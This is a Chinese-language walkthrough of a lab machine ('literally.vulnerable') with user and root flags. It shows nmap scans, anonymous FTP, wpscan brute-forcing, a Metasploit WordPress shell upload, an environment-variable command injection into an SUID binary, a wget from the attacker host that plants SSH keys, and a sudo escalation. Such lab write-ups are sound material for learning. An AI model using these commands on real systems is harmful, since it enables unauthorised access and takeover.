2020-03-08 14:26 — 2020-03-09
1 | Flags: 3 (local.txt, user.txt & root.txt) |
1 | kali:172.16.252.129 |
信息收集
主机存活:
1 | nmap -n -sn -T5 -v 172.16.252.1/24 | grep -B 1 "Host is up" |
目标端口服务:
1 | nmap -n -Pn -sV -O 172.16.252.131 |
1 | PORT STATE SERVICE VERSION |
全部端口:
1 | PORT STATE SERVICE VERSION |
开启的端口:21、22、80、65535
FTP 匿名登陆
FTP 可以匿名访问,得到几个密码,暂不知用途:
1 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |
1 | *$eGRIf7v38s&p7 |
Web 目录枚举
1 | 80/tcp open http nginx 1.14.0 (Ubuntu) |
80 端口: nginx + Wordpress
65535端口:Apache
控制台显示资源请求错误多,可以看到它是从 literally.vulnerable
请求资源,可以设置 DNS:
1 | echo "172.16.252.131 literally.vulnerable" >> /etc/hosts |
先扫描 65535 端口,逐一访问,得到 phpcms
页面,访问需要密码,wpsacn
枚举
1 | dirsearch.py -u "http://172.16.252.131:65535" -e php --random-agents -w /usr/share/wordlists/dirb/big.txt |
1 | wpscan --url http://172.16.252.131:65535/phpcms/ --enumerate |
1 | [+] maybeadmin |
得到两个用户名,使用前面得到的几个密码枚举爆破,碰运气,得到一组用户名密码:
1 | wpscan --url http://172.16.252.131:65535/phpcms/ -U users.txt -P backupPasswords |
1 | [i] Valid Combinations Found: |
登录 Wordpress 后台
都翻了一遍,得到一组用户名和密码:
1 | notadmin:Pa$$w0rd13!& |
登录系统(Getshell)
利用 MSF
上传木马 getshell
1 | exploit/unix/webapp/wp_admin_shell_upload |
信息收集
1 | meterpreter > sysinfo |
寻找 SUID 程序,得到可疑文件:itseasy
1 | find / -perm -u=s -type f 2>/dev/null |
权限提升(User)
运行 itseasy
得到当前目录绝对路径,看过一篇通过操控 PATH
参数值进行提权;怀疑程序调用了 pwd
命令
1 | cd /tmp |
执行后,没有得到预期的结果
objdump -d
一下,看到个 getenv
函数,用来获取环境变量
也就是可以通过改变环境变量的值来控制这个程序:
1 | export PWD=\$\(/bin/bash\) |
然后输入命令没有回显了,直接 SSH :kali 下生成 ssh 公钥上传到目标机
1 | cd /home/john/.ssh && wget http://172.16.252.129:8848/autorized_keys |
信息收集
HOME 目录下的到一个 base64加密的密码
1 | am9objpZWlckczhZNDlJQiNaWko= |
搜索 SUID 程序:
1 | find/ -perm -u=s -type f 2>/dev/null |
1 | sudopasswd root |
1 | sudo -l |
可以运行 /var/www/html/test.html
权限提升(root)
/var/www/html
目录下没有 test.html
文件,且 john
没有 html
目录的写权限,那就切换回 www-data
用户创建文件
1 | echo "/bin/bash" > test.html |
sudo
运行,提权成功